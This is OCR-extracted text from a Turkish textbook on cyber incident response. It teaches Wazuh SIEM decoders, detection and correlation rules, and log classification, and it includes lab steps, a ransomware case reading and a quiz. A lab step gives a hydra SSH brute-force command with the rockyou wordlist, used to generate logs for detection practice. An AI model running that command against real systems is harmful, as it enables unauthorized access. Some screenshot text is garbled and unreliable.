islenebilir duruma gelir. Wazuh gibi SIEM araclari, kendi icindeki decoder ve rules sistemleri sayesinde
bu normalizasyon islemini otomatik olarak gerceklestirir. Boylece farkl kaynaklardan gelen binlerce log,
kisa sirede standart hale getirilerek giivenlik analizi icin hazir olur.

Decoder, gelen ham log satirini parcalara ayiran ve anlamli veri alanlari (6rnegin IP adresi, kullanici adi,
islem tipi vb.) ¢cikaran bilesendir. Wazuh’a disaridan gelen loglar, ilk olarak decoder tarafindan okunur
ve normalize edilecek alanlar belirlenir.

- sshd[2456]: Failed password for invalid user mtegm from 192.168.1.100 port
ORNEK | 25 ssh2

Wazuh, bu logu isleyebilmek icin sshd decoder’ini kullanir. Bu decoder, log
icindeki su bilgileri ¢ceker:

+ user: mtegm

+ srcip: 192.168.1.100

+ program: sshd

+ event: failed password

Decoder sayesinde bu bilgiler, standart alanlara oturtulur. Bu isleme ham logu pargalama denir.

Rule, decoderin ¢ikardigi alanlara dayanarak logun ne tiir bir olaya isaret ettigine karar veren yapidir.
Rulelar; loga bir anlam, 6nem seviyesi (level) ve agiklama kazandirir. Ayrica hangi gruba ait oldugu da
burada belirlenir.

SIBER OLAYLARA MUDAHALE @
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Decoderin anlamlandirdigi veriye gore soyle bir rule devreye girebilir:

ORNEK
/‘ <rule id="5712" level="5">

<if_sid>5710</if_sid>
<match>Failed password for invalid user</match>
<description>sshd: Failed password for invalid user</description>
<group>authentication_failures,sshd,</group>

</rule>

Kuralin ¢oziimlenmesi soyledir:

Logda “Failed password for invalid user” ifadesi geciyorsa ve onceki decoder 5710 ID'li bir kurali
tetiklediyse bu olay, level 5 (orta seviye uyari) olarak isaretlensin ve “authentication_failures” grubuna
dahil edilsin (Gorsel 3.88).

> > >

=) a a
<LOG < DECODER < RULE

— GELIYOR. | ™ CALISIYOR. | ™ DEVREYE
GIRIYOR.
>

Gorsel 3.88: Kural uygulama siireci

Decoder, loglari ¢ozen ilk adimdir. Rule ise ¢ozililen loglarin anlamlandirilmasini ve siniflandiriimasini
saglar. Bu ikili birlikte calisarak loglarin dnce islenebilir hale getirilmesini, ardindan otomatik analiz
edilmesini mimkun kilar. Bu yapi, SIEM sistemlerinde otomatik tehdit tespiti ve anomali analizi icin
oldukga 6nemli bir gorev Ustlenir.

3.2.3.2. Log Siniflandirma Teknikleri

Log siniflandirma; sistemlerden, uygulamalardan veya ag cihazlarindan toplanan ham log verilerinin
anlamh kategorilere ayrilmasi islemidir. Amag, loglarin hizli ve etkili analizini saglamak, anormal
durumlari veya glivenlik olaylarini tespit etmek ve sistem performansini izlemektir. Log siniflandirma
islemi su nedenlerle yapilr:

Kolay Analiz: Cok bliytik miktardaki log verisi icinden ilgili kayitlari hizlica bulmak
Olay Tespiti: Glivenlik tehditleri veya sistem hatalari gibi kritik olaylarin otomatik tespit etmek
Korelasyon: Farkl kaynaklardan gelen loglar arasinda iliskilendirmeler yapmak

Alarm Yonetimi: Sadece kritik loglara odaklanarak gereksiz alarmlarin 6nlenmesini saglamak

@ SIBER OLAYLARA MUDAHALE
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Log siniflandirmada gesitli teknikler kullanilir. Bu teknikler soyle siralanabilir:

1. Anahtar Kelime Tabanl Siniflandirma (Keyword-based Classification): Loglarda belirli anahtar
kelimeler (6rnegin “error”, “failed”, “denied” vb.) aranarak ilgili loglar kategorize edilir.

2. Regex (Diizenli ifade) Tabanh Siniflandirma: Log yapisina uygun diizenli ifadelerle logun belirli
parcalari yakalanarak siniflandirilir. Ozellikle yapilandirilmis loglar icin uygundur.

3. Kural Tabanh Siniflandirma (Rule-based Classification): Uzmanlar tarafindan olusturulan kurallar
(6rnegin belirli IP adresleri, portlar veya mesaj icerikleri) kullanilir. Wazuh ve benzeri SIEM
araclarinda kullanilir.

4. Makine Ogrenimi Tabanli Siniflandirma: Biiyiik veri setleri izerinde egitim yapilarak loglar, anomali
tespiti veya otomatik siniflandirma icin kullanilir [Ornegin siniflandiricilar (SVM, Naive Bayes vb.)
veya kiimeleme algoritmalari (K-means)].

5. Zaman Bazli Siniflandirma: Loglarin olustugu zamana gore gruplandiriimasidir (6rnegin saatlik,
ginlik gibi).

6. Log Seviyesi Bazli Siniflandirma: Loglarin kritiklik seviyesine gére (INFO, WARNING, ERROR ve
CRITICAL) ayrilmasidir.

Wazuh’da log siniflandirma kurallari local_rules.xml dosyasinda olusturulur (Tablo
3.15). Kural tabanl siniflandirma, Wazuh gibi SIEM araglarinda yaygin kullanilirken
anahtar kelime ve regex tabanli teknikler, manuel veya kiigiik 6lgekli sistemlerde
tercih edilir. Makine 6grenimi ise blyk 6l¢ekli ve dinamik sistemlerde daha gelismis

¢Ozlmler sunar.

Tablo 3.15: Siireg ve Bilesenler

Normalizasyon Decoder (local_decoder.xml) Logu pargalara ayirir (user, ip).
Logu "authentication_failures" grubuna
Siniflandirma Rule (local_rules.xml) & - =
atar.
. Ayni IP'den tekrar eden girisler analiz
Korelasyon Rule (same_source_ip)

edilir.

3.2.3.3. Kullania1 Olaylarina Gore Log Korelasyonu ve Anomali Tespiti

Log korelasyonu ve anomali tespiti; bilgi sistemlerinden toplanan ¢ok sayidaki log kaydinin daha anlaml
hale getirilmesi ve sistemdeki olagan disi, beklenmeyen veya potansiyel olarak zararli aktivitelerin erken
asamada tespit edilmesini saglayan iki temel glivenlik analiz yontemidir. Log korelasyonu, farkli cihaz
ve sistemlerden gelen loglar arasinda iliski kurarak, bagimsiz gibi gériinen olaylarin aslinda ayni saldiri
zincirinin parcalari oldugunu ortaya cikarabilir. Ornegin bir kullanici oturum agma denemesi, ardindan
yetkisiz erisim, veri disa aktarimi gibi farkli log kayitlari bir araya getirilerek olayin bitiinsel bir tehdit
olarak algilanmasini saglar.

Anomali tespiti ise sistemdeki normal davranislardan sapmalari analiz eder. Bu teknik; kullanicilarin
tipik aktivitelerinden, islem hacminden veya erisim sikligindan sapmalari fark ederek potansiyel bir
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glivenlik ihlalini isaret edebilir. Bu iki yaklasim birlikte kullanildiginda sadece bilinen tehditler degil daha
once tanimlanmamis yeni tehditler de etkili bir sekilde tespit edilebilir. Sonug olarak log korelasyonu
ve anomali tespiti; saldirilarin zamaninda fark edilmesi, otomatik alarm sistemlerinin dogru sekilde
calismasi ve siber olay midahale ekiplerinin hizli aksiyon alabilmesi acisindan kritik 6neme sahiptir.

Koralasyon ve anamoli tespiti gerceklesme siirecinde ilk asamada Syslog (6rnegin firewall loglari), Auth.
log (SSH oturum kayitlari), web sunucularindan gelen Apache/Nginx loglari gibi farkli kaynaklardan log
verileri toplanir. Bu loglar, Wazuh tarafindan merkezi olarak toplanir ve normalize edilir. Ardindan bu log
verileri, kurallar ve korelasyon motoru ile analiz edilir. Kurallar, belirli tehdit senaryolarini tanimlarken
korelasyon motoru, ayni IP’den gelen iliskili olaylari eslestirir. Elde edilen sonuglara gore sistem, kritik
veya bilgi diizeyinde alarm (retir. Siirecin son asamasinda bu alarmlar, Wazuh Web Ul {zerinden
glvenlik analistlerine sunularak gerekli midahale ve incelemelerin yapilmasi saglanir (Gorsel 3.89).

u]

Syslog
(Firewall)

|

)

Wazuh Log Toplama
ve Normalizasyon

:- Kurallar
v —| (local,

decoders)

Wazuh Web Ul
(Analist Goriisii)

Gorsel 3.89: Korelasyon ve anomali tespit stireci
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9. Uygulama

Aginizda calisan ©6zel bir uygulama, kullanici giris denemelerini “Login failed: User=mtegm
IP=192.168.1.100” seklinde loglamaktadir. Bu loglarin wazuh U(izerinden normallestirilmesi,
siniflandirilmasi ve korelasyon islemlerini verilen adimlar dogrultusunda gergeklestiriniz.

1. Adim: Wazuh Siem manager yazihmin bulundugu sistemde /var/ossec/etc/decoders/local_decoder.
xml dosyasini bir metin editori programiyla aginiz (Gorsel 3.90).

c/decoders# nano local decoder.xml

Gorsel 3.90: Decoder dosyasinin yapilandirmasi

2. Adim: Metin editériinde yapilandirma ayarlarinin girisini local_decoder.xml dosyasina yapiniz
(Gorsel 3.91).

local_decoder_ornek

mtegmuygulama

Gorsel 3.91: Decoder yapilandirma
3. Adim: var/ossec/etc/rules/local_rules.xml dizininde bulunan dosyay! metin edit6riyle acip Gorsel

3.92°de bulunan kurali ekleyiniz.

Bu kural, yukaridaki decoder ile eslesen loglari “authentication_failures” grubuna
ekler, seviye 5 uyari Uretir ve group alani logu, siniflandirma islemini gergeklestirir.

554, 550
nalware-hashes

MTEGM UYART...CDB Listesinden e Tespit Edildi: $(file)

standart-login-hata
1lam B risiz kullanici girisi
ication failures

Gorsel 3.92: Kural ekleme, decoder ile eslestirme
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W

4. Adim: local_rules.xml dosyasina ayni IP adresinden 1 dakika icinde 3 basarisiz giris denemesi yapilirsa
seviye 10 alarm lretecek kurali korelasyon olarak ekleyiniz (Gorsel 3.93).

/e icinde ayni IP"den 3 basarisiz giris denemesi
e_detection

Gorsel 3.93: Korelasyon kurali eklenmesi

5. Adim: Wazuh servisini “systemctl restart wazuh-manager” komutunu kullanarak yeniden baslatiniz.

Ayni islemler, Wazuh Manager Uzerinden gergeklestirilebilir. Bunun igin Wazuh
Manager, internet tarayicisi lzerinden acgilarak Wazuh Management menusi
kullanihr (Gorsel 3.94).

= O wazu h_ Y Management

ADMINISTRATION

=. Rules =! Decoders
= ﬂ = Q
Manage your Wazuh cluster rules Manage your Wazuh cluster deceders
— ) o
—! CDBlists (a Groups
X c) B p
Manage your Wazuh cluster CDE lists. Manage your agent groups.
q'P Configuration

Manage your Wazuh cluster configuration.

Gorsel 3.94: Wazuh yonetim paneli

6. Adim: Mevcut decoderlari diizenleyebileceginiz ve yeni decoder ekleyebileceginiz Gorsel 3.95'teki
Decoders mendsline girerek inceleyiniz.

= 0 wazuh. w Decedens

it b . i

Gorsel 3.95: Decoders ekleme ve diizenleme paneli
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7. Adim: Add new decoders file mendistiine girerek yeni bir decoder ekleme islemini grafiksel olarak
gerceklestiriniz (Gorsel 3.96).

= O WGZUh. N Management Decoders a

< standart-login-hata [4 Decoders Test

1~ <group name="custom,authentication_failures,">
2+  <rule id="1e91e@" level="5"»

3 <decoded_as»standart-login-hata</decoded_as>
4 <description>Uygulama: Basarisiz kullanici girisi</description>
5 <grouprauthentication_failures</group>

[ </rule>

7 </group>

9
1@

Gorsel 3.96: Decoders ekleme

8. Adim: Ayni menuyd kullanarak Rules ekleme islemini grafiksel olarak gerceklestiriniz (Gorsel 3.97).

= O wazuh. - | bassgemen |k 3
Rubiss {(4267)
§ } Manaos Rol by Export 1
stom
o oo = e— ey ==
Geanaric femplate for l 9y9I0Q0 maket wrueg L] AT
Ganans hemptate for a8 Srewad nes. v o T
3 Ganan lermplate for a8 38 nbes o o e 8 T
Gananc lemplate for 3 web nies. wetiog o A
5 G lemplata for 8 b [rony fukes o o URas T
s Ciomerss ehate fox o werstows S o e
Ganen lemplane for o wizuh nies e o AU
o Groupeng of wazun nes. WA o AT
an gt vent QU e agent_focdng wazun o Ui Tien
gunt everd ouece & bevel LI agerd_Soodeg winh POLOSS  GOPR T L T
Rows per page: 10 - { 1 2 3 a & Erid B

Gorsel 3.97: Korelasyon kurali eklenmesi

9. Adim: Korelasyon kuralinin tetiklenmesini saglayiniz ve Wazuh web arayilziine girerek security
events boliminden tetiklenmis kurali gérintileyiniz.

- 10. Uygulama

Sisteme bir dosya eklediginizde veya basarili bir oturum agma islemi gerceklestirdiginizde web
araylziinde olusan alarmin gorintiilenmesini verilen adimlar dogrultusunda saglayiniz.

1. Adim: Wazuh manager yazilimini web arayiziinden kullanici adi ve parola girerek aginiz.

2. Adim: Alarmin tetiklenmesini saglayacak bir dosya indirme islemi gerceklestiriniz ve Security Events
kismindan alarmi gérintileyiniz (Gorsel 3.98).

Security Alerts
Time & Technique(s) Tactic(s) Deseription Levet Rule 1D
1 38, 200 g 18 49007 TR03 amceten Vimtoh e e A e BT
¢ Oetecied s
I un 28, 2005 @ 185557 570 Fia 20003 1204 system s 554 I
n 28, 2005 185547 562 TIOMO04  TH4ES Datense Evancn, mpact Foa deistes
Jun 28, 2005 @ 18 8447137 TIN004 Tress [ —— Fig duintez
28, 205 @ W S49T13 ¥ b 12t v 3
Hiows per page: 10 t1283488 264

Gorsel 3.98: Security Events
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3. Adim: Olusan alarma tiklayarak kural detaylarini goriintileyiniz (Gorsel 3.99).

v I Jun 28, 2025 @ 185557 570

T Js0N

~ Information

File added o the system_ I

D Level File
554 5
Groups

syscheck, syscheck_entry_added, syscheck_file, ossec

~ Details
Category Decoded_as
[EE syscheck_new_entry

~ Compliance

Gorsel 3.99: Kural detaylari

Alarmin hangi kullaniciya, hangi IP adresine ait oldugu (user, srcip) gibi detaylar da
JSON formatinda gorintilenir.

4. Adim: Security events modiliinde rule description filtre alanina rule.description: “File added to the
system.” yazarak ilgili korelasyona uygun alarmlari listeleyiniz (Gérsel 3.100).

= (0 wazuh. ~ Mouter LAPTOP-SHIES Socurky svents @ a

il LAPTOP-STUERSTR {00:

o 0O B Lamzran e - ]

Dashboard  Everts

12 hes

N 27, 2605 @ 19,03 34862 - Jun 28, 2005 @ TOTMBET  Auto

Court

Deviamg por 30 miewes

Tona « e smscrpton rute bt e
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Gorsel 3.100: Alarmlarin filtrelenmesi
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Sira Sizde

Bir devlet kurumuna ait Linux sunucularda SSH servisi lizerinden gelen baglantilar, Wazuh
SIEM sistemi tarafindan izlenmektedir. Glivenlik sisteminiz sadece 60 saniye iginde ayni IP
adresinden gelen su 5 log kaydini almistir:

1. sshd[3478]: Failed password for invalid user admin from 192.168.56.101 port 55874 ssh2
2. sshd[3483]: Failed password for invalid user root from 192.168.56.101 port 55875 ssh2
3. sshd[3491]: Failed password for invalid user guest from 192.168.56.101 port 55876 ssh2
4. sshd[3502]: Failed password for invalid user test from 192.168.56.101 port 55877 ssh2
5. sshd[3515]: Failed password for invalid user oracle from 192.168.56.101 port 55878 ssh2
« Wazuh sisteminde alarm olusturacak sekilde loglari ayristirma ve analiz islemini gercekles-
tiriniz.
« Ayni IP adresinden 60 saniye icinde 5 basarisiz SSH denemesi tespit edilmesi durumunda
korelasyon kural ¢alistirilarak seviye 10 alarm iiretecek sekilde yapilandiriniz.

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olgttlerini dikkate aliniz.

Sira Sizde

Wazuh ortaminda bir kullanicinin 1 dakika icinde 10 defa kritik bir dosyaya erisim yapmasi
durumunda alarm olusmasi isteniyor. Asagida istenenleri géz 6ninde bulundurarak
Wazuh igin XML formatinda bir korelasyon kurali yaziniz.

+ Kural ID: 200200

- Alarm Seviyesi: 9

« Dosya erisim olaylari if_sid olarak 41000 (6rnek) kullanilsin.

« Ayni kullanicr adi (user alani) baz alinarak grup yapilacak

« Siire: 60 saniye icinde 10 erisim

« Aciklama: “1 dakika icinde ayni kullanicidan kritik dosyaya 10 erisim”

Degerlendirme: Calismaniz EK-1'de yer alan kontrol listesi kullanilarak degerlendirilecektir.
Calismanizi yaparken degerlendirme olgttlerini dikkate aliniz.
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Okuma Pargasi
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Bir Glincellemenin Bedeli

Bir bahar sabahiydi. Bircok kurum normal mesaisine baslamis, ¢alisanlar bilgisayarlarini
acip e-postalarini kontrol ediyordu. ilk bakista siradan bir is glintiydi ta ki bazi kullanicilar
ekranda beliren tehdit mesajlarini gérene kadar.

Ekranlarda ayni mesaj beliriyordu: “Dosyalariniz sifrelendi. Belirtilen siire icinde fidye
0demezsiniz veriler kalici olarak erisilemez hale gelecek” Mesaj, 6demeyi nasil yapacaklarina
dair talimatlar ve ¢ézme anahtarinin verilecegi iddiasini iceriyordu. Istemciler birer birer
etkilendi; ancak isin en tehlikeli kismi, bu kot amach yazilimin bir bilgisayardan digerine
kendiliginden yayilabiliyor olmasiydi. Yani tek bir makinedeki enfeksiyon, tim kurum agini
hizla etkileyebiliyordu.

Kamu kurumlarindan hastanelere, telekom operatorlerinden lojistik firmalarina kadar
pek ¢ok kurulus benzer belirtiler bildirdi. Kritik hizmetler aksadi: hastanelerde ameliyatlar
ertelendi, rezervasyon sistemleri ¢coktu, musteriislemleri durdu. Etkilenen kurumlarin bazilari
fidyeyi 6deme yoluna gitse bile verilerine erisemediklerini, clinku saldirinin karmasikligi ve
anahtar yonetimindeki belirsizlik ylizinden geri donisin garanti olmadigini 6grendi.

Olayin temel nedeni teknik olarak bilinen bir guvenlik aciginin kullaniimis olmasiydi. Bu
glvenlik acidiicin daha once bir diizeltme paketi yayimlanmisti; ancak bircok kurum, isletim
sistemlerinde ve kritik sunucu yazihmlarinda gerekli yamalari zamaninda uygulamamisti.
Ayrica aglarda yeterli segmentasyon olmadig, yedekleme stratejilerinin eksik veya cevrimici
oldugu, ve calisanlarin sosyal miihendislik veya ek dosya calistirma riskine karsi yeterince
egitilmedigi gorildd.

Olay mudahale ekipleri yogun bir sekilde calisti: enfekte makineler agdan izole edildi,
zarar gormemis kritik sunucular hemen ¢evrimdisi yedeklerden geri yiklendi, log kayitlar
toplanip saldirinin yayilma yollari belirlendi. Ancak bazi kurumlar igin stire¢ haftalar stirdd;
operasyonel hizmetler uzun siire kisitli kaldi ve ekonomik zarar milyonlarca dolarla élculdu.

Bu olay sadece teknik bir sorun degildi; ayni zamanda yonetimsel ve operasyonel bir
uyariydi. Kurumlar, bir yazilim glincellemesini ertelemenin veya yedeklemeyi ihmal etmenin
sadece BT butcesini degil, vatandaslarin veya musterilerin hizmetine dogrudan etki eden
sonuglar dogurabilecegini gordi. Ayrica seffaf iletisim eksikligi, kriz aninda itibar kaybini
artirdi; etkilenmis kuruluslarin cogu, kamuoyuna ve ilgili paydaslara gecikmeli ve yetersiz
bilgi verdi.

Komisyon tarafindan uyarlanmistir.

o




OLCME VE DEGERLENDIRME

A) Asagidaki ciimlelerde bogs birakilan yerlere dogru kelimeleri yaziniz.

1. Yapilandinimisloglaricin modernveinsantarafindan okunabilir format, .................. olarakadlandirilir.

B)

2.

Windows Olay Gorintileyicisi'nde ..................

Syslog protokolliinde oncelik degeri, ..................

SQL Server’da transaction log yedegi alinmayan ve loglarin otomatik temizlendigi model,

olarak adlandirilir.

Event ID’si, “yeni islem baslatildi” olayini ifade eder.

formalu ile hesaplanir.

Syslog severity kodlarindan .................. , “Informational (Bilgilendirme)” seviyesini belirtir.

Asagidaki sorulari dikkatlice okuyarak dogru cevabi isaretleyiniz.

Bir sistemde gercgeklesen islemleri kayit
altina alan verilere verilen ad asagidakiler-
den hangisidir?

A) Alarm

B) Endpoint

C) Korelasyon

D) Log

E) Normalizasyon

Asagidakilerden hangisi log yonetiminin
amaglarindan biri degildir?

A) Guvenlik ihlallerini tespit etmek

B) Yasal uyumlulugu saglamak

C) Sistem performansini artirmak

D) Kullanicilarin parolalarini saklamak

E) Hatalarin nedenini belirlemek

3. 5651 sayili Kanun’a gére internet erisim

saglayicilarinin, log kayitlarini saklamak
zorunda olduklari en az siire agagidakiler-
den hangisidir?

A) 6 ay

B) 1yl

C) 2l

D) 3yl

E) Syl

. Farkli kaynaklardan toplanan loglarin ilis-

kilendirilmesi ve analiz edilmesine verilen
ad asagidakilerden hangisidir?

A) Normalizasyon

B) Korelasyon

C) Saklama

D) Zaman Damgasi

E) Formatlama

©



. Bir log kaydinda olayin ne zaman gergek-
lestigini gosteren alan asagidakilerden
hangisidir?

A) Log Kaynagi

B) Zaman Damgasi (Timestamp)

C) Event ID

D) Olay Turi

E) Log Formati

. Asagidakilerden hangisi log giivenliginin
bir unsuru degildir?

A) Gizlilik

B) Butunlik

C) Erisim Kontrolii

D) Depolama ve Yedekleme

E) Parola Yonetimi

. Syslog sisteminde Severity 0, asagidaki
durumlardan hangisini ifade eder?

A) Uyari

B) Kritik Hata

C) Acil Durum (Emergency)

D) Bilgilendirme

E) Debug

. Windows Olay Gériintiileyicisi’nde basari-
siz, kullanici oturum agma girisimini ifade
eden Event ID asagidakilerden hangisidir?

A) 4624
B) 4625
C) 4672
D) 4688
E) 4720

9. Firewall loglari ile web sunucu loglarini ilis-
kilendirerek saldiriyi tespit etmeye ¢alisan
bir giivenlik analistinin uyguladigi log yo-
netimi siireci asagidakilerden hangisidir?
A) izleme
B) Korelasyon
C) Normalizasyon
D) Saklama
E) Toplama

10. Asagidakilerden hangisi SIEM sistemleri-
nin temel islevlerinden biridir?

A) Yalnizca loglarin saklanmasini saglamak

B) Yalnizca ag trafiginin engellenmesini
saglamak

C) Loglari toplayip analiz ederek glivenlik
tehditlerini tespit etmek

D) Kullanicr sifrelerinin sifirlanmasini
saglamak

E) Donanim arizalarini onararak sistemin
calistiriimasini saglamak
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NELER OGRENECE

4.1. SIBER OLAYLARA MUDAHALE ADIMLARI - Siber olay gerceklestiginde midahale etme

4.2. OLAY MUDAHALE SENARYOLARI cerceveleri
o « Siber olaya midahale ederken kullanilan
4.3. OLAY SONRASI GERCEKLESTIRILECEK standartlar
ISLEMLER - Siber olay sonrasi gerceklestirilecek islemler
TEMEL KAVRAMLAR
« alarm « NIST (National Institute of
« APT (Advanced Standards and Technology)
Persistent Threat) « phishing (kimlik avi)
o ATT&CK « SANS
« korelasyon « SOAR
« MITRE IOC (Tehdit « tehdit avcisi
Gostergesi) « TheHive Project

« Wazuh
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HAZIRLIK CALISMALARI

. Siber saldiri gerceklestiginde saldirinin kaynagiyla ilgili nasil bir arastirma yapilabilir?
Distincelerinizi 6rneklerle sinifta paylasiniz.

. Bir kurumda siber olay gerceklestiginde kimler etkilenebilir? Bu durumun olumsuz
sonuglari neler olabilir? Duslincelerinizi 6rneklerle sinifta paylasiniz.

. Bir siber saldiridan ders c¢ikarilmazsa kurum lizerinde ne tir sonuglar ortaya cikabilir?
Distincelerinizi 6rneklerle sinifta tartisiniz.

4.1. SIBER OLAYLARA MUDAHALE ADIMLARI

Siber olaylara miidahale etmek icin bircok standart bulunur. Standartlar, kurumlarin siber saldiri veya
givenlikihlallerine karsi planli, sistematik ve uyumlu bir sekilde hareket etmesini saglayan cercevelerdir.
Bu standartlar genellikle hem uluslararasi hem de ulusal seviyede tanimlanir ve siber olay miidahale
sUrecinin, tespitten raporlamaya kadar tiim adimlarini kapsar (Gorsel 4.1).

= -' ]
 INCIDENT RESPONSE
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Gorsel 4.1: Siber olay miidahale siireci

NIST, SANS, CERT ve FIRST gibi standartlar, diinya genelinde kabul gormus siber olaylara miidahale
standartlari arasinda yer alir. Turkiye 6zelinde Ulusal Siber Olaylara Midahale Merkezi (USOM)
tarafindan belirlenen SOME standartlari, 2013/4890 sayili Basbakanlik Genelgesi ile yirirltge girer. Bu
standartlar, kamu kurumlarinda SOME ekiplerinin kurulmasini zorunlu kilar ve NIST ile SANS siirecleriyle
uyumlu, yerli prosedirlerin kullanilmasini 6ngorir.

4.1.1. Siber Olaylarin Tespiti

Bir kurumun siber giivenlik stratejisindeki en kritik adimlardan biri, yasanan veya yasanma ihtimali
bulunan olaylarin zamaninda tespit edilmesidir. Olayin erken fark edilmesi hem zararin blyimesini
onler hem de miidahale sirecinin daha etkili ylritilmesini saglar. Tespit siireci; ag trafiginin izlenmesi,
sistem gunliklerinin (log) analizi, glivenlik duvari, saldiri tespit-6nleme sistemlerinden gelen uyarilarin
degerlendirilmesi gibi teknik yontemleri icerir. Bu asamada normal faaliyetlerden sapmalari ayirt
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edebilecek dogru araglarin kullanilmasi ve giivenlik personelinin bilingli hareket etmesi, olay miidahale
slrecinin basarisinda belirleyici rol oynar.

Siber glivenlik olaylarinin etkili tespitiicin Wazuh gibi glivenlik bilgi ve olay yonetimi (SIEM) sistemlerinde
bazi kritik alanlar mutlaka izlenmeli ve analiz edilmelidir. Bunlar; glivenlik ekiplerinin saldirilarin niteligini
anlamasi, onceliklendirmesi ve uygun miidahaleyi yapabilmesi icin temel bilgi kaynaklaridir.

1. Kural Kimligi (Rule ID)

Her uyari, Wazuh'un belirledigi bir kural tarafindan tetiklenir ve bu kuralin benzersiz kimligi (Rule I1D)
ile tanimlanir. Ornegin 60122 Rule ID’si genellikle basarisiz oturum agma (login failure) olaylarini
belirtir.
Onemi

» Hangi tir saldirinin veya glvenlik olayinin gergeklestigini anlamak igin kural kimligi temel refe-
rans noktasidir.
» Otomatik midahale ve raporlama islemlerinde bu ID kullanilir.

2. Uyari Seviyesi (Alert Level/Severity)

Uyari seviyesi, uyarinin ciddiyetini gosteren sayisal veya kategorik bir degerdir (6rnegin 1-10
arasinda). Seviyeler genellikle disik, orta veya yiksek olarak siniflandirilir.
Onemi

« Miudahale 6nceligini belirler.
« Kritik seviyedeki olaylar daha hizli ve 6ncelikli ele alinmalidir.
« Operasyonel kaynaklarin etkin dagilimini saglar.

3. Kaynak Bilgisi (Source IP Address)

Kaynak bilgisi, olayi tetikleyen veya saldiriyi gerceklestiren cihazin IP adresi yahut ismidir. Ornegin
192.168.1.100 gibi bir yerel IP veya cihaz ismi, saldiri kaynagi hakkinda bilgi sunar.
Onemi

« Saldirinin nereden geldigini belirlemek icin hayati bilgidir.
+ Saldirganin izini siirmek, saldiriyi engellemek veya analiz igin kullanilir.
« Guvenlik duvari ve erisim kontrol listelerinin (ACL) giincellenmesine yardimci olur.

4. Etki Alani (Affected Component)

Etki alani; olayin gerceklestigi sistem, servis veya uygulama alanidir. Ornegin SSH servisi, Windows
login sistemi, web uygulamasi veya veri tabani olabilir.
Onemi

« Hangi sistemin veya servisin hedef alindigini belirlemek, kritik miidahale icin gereklidir.
 Farkh bilesenlerin, farkli risk seviyeleri ve midahale yontemleri vardir.
- llgili teknik ekiplerin (ag, sistem ve uygulama giivenligi) olaydan haberdar edilmesini saglar.

Bltln bilgiler 1siginda, otomatik alarm mekanizmalari olusturulur ve boéylece siber olaylarin hizli ve
dogru sekilde tespiti saglanir.

Wazuh SIEM yazilimi, olaylari tespit etmek igin gelismis kural tabanli analiz, alarm yonetimi ve olay
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korelasyonu mekanizmalari sunar. Bu bilesenler sayesinde gergek tehditler, karmasik ag ve sistem
aktiviteleri icinden otomatik olarak ayristirilir.

1. Kural Tabanl Tespit

Wazuh, 6nceden tanimlanmis ve glincellenen kurallar (Rule) araciligiyla sistem loglarini ve olaylarini
siirekli analiz eder. Ornegin Rule ID 60122 gibi bir kural, basarisiz oturum acma denemelerini tespit
eder. Bu kurallar, belirli bir olay tipini veya anormal davranisi tanimlar ve otomatik olarak ilgili olaylari
isaretler.

- Bir Windows sistemi lizerinde SSH servisine yapilan basarisiz giris denemeleri,
Ornek Wazuh tarafindan kural 60122 kapsaminda yakalanabilir. Bu sayede, brute force
- saldirisi gibi tehlikeli durumlar hizlica fark edilir.

2. Alarm Olusturma

Kurallar tarafindan tespit edilen olaylar, Wazuh tarafindan 6nceden belirlenmis seviyelere gore
siniflandirilir (Alert Level). Ornegin kritik bir saldiri denemesi, yiiksek seviye alarm ile bildirilir. Bu
alarmlar, glvenlik ekiplerini aninda bilgilendirerek hizli miidahale imkani saglar.

- Cok sayida basarisiz SSH oturum agma denemesi algilandiginda yliksek seviye
Ornek bir alarm Uretilir ve sistem yoneticisine bildirim génderilir. Bdylece potansiyel
» saldirilar erken asamada fark edilir.

3. Korelasyon ve Analiz

Wazuh’un en glicli 6zelliklerinden biri, farkli kaynaklardan gelen olaylari korelasyon ile iliskilendirerek
anlamli bir giivenlik resmi ortaya koymasidir. Ornegin farkl sistemlerdeki basarisiz oturum agma
denemeleri birlestirilerek dagitilmis saldirilar tespit edilebilir.

- Ayni IP’den farkli cihazlara yapilan basarisiz giris denemeleri korelasyon kurallari
Ornek ile analiz edilir. Bu sayede tek tek gdézden kacabilecek saldiri driintiileri tespit

edilir.

1. Uygulama

Wazuh kullanarak sistem (zerinde gerceklesen anormal bir aktivite olan SSH brute force saldirisini
tespit islemini verilen adimlar dogrultusunda gerceklestiriniz.

1. Adim: Kali Linux tizerinden hedef makineye, hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://
hedef ip adresi komutunu kullanarak SSH brute force saldirisi yapiniz (Goérsel 4.2).

ations, or for illegal purposes (this is no

Gorsel 4.2: Hedef sisteme brute force saldirisi diizenlenmesi
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2. Adim: Wazuh’ta higbir kural tanimlamadan basarisiz oturum agma girisimi olarak bu saldiri sonuglarini
gosterge panelinde goriintlleyiniz (Gorsel 4.3).

T & et gt - Tectats Swmrgnss

Gorsel 4.3: Basarisiz oturum agma uyarisinin goriintilenmesi

3. Adim: Wazuh manager kurulu cihazda /var/ossec/etc/rules/ local_rules.xml dosyasini metin
editoriyle acarak asagidaki kurali ekleyiniz (Gorsel 4.4).

 AC.7,nist

Gorsel 4.4: Brute force kuralinin olusturulmasi

4. Adim: Agent ve Manager yikla cihazlari yeniden baslatiniz.
5. Adim: Brute force saldirisini tekrar gerceklestiriniz.

6. Adim: Uyguladiginiz kuralin tetiklendigini ve saldirinin tespit edilerek alarm verildigini gériintileyiniz
(Gorsel 4.5).

ey e

Gorsel 4.5: Tetiklenen kural sonucu alarm olusmasi
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Olaylarin tespiti icin 6rnek alarmlar séyle hazirlanabilir:

1. Ornek Olay: Yeni Kullanici Hesabi Olusturulmasi

Alarm

<rule id="100203" level="9">
<field name="win.system.eventID">4720</field> <!-- Yeni kullanici olusturma -->

<description>Windows sisteminde yeni kullanici hesabi olusturuldu. Yetkisiz kullanici olusturma
riski var.</description>

<group>account_management, user_creation, security</group>
</rule>

Alarmin Agiklamasi: Windows sisteminde yeni bir kullanici hesabi olusturuldu. Yetkisiz kullanici
olusturma girisimleri, yetki ylikseltme veya sistemde kalici erisim saglama riski tasir. Bu nedenle Rule
ID 100203-Seviyesi 9 ile alarm olusturularak olayin tespiti saglanir.

2. Ornek Olay: Kritik Sistem Dosyasinda Degisiklik

Alarm

<rule id="100204" level="10">
<field name="syscheck.checksum_changed”>yes</field>

<description>Kritik sistem dosyasinda beklenmeyen degisiklik tespit edildi. Olasi kétii amagh yazi-
im aktivitesi</description>

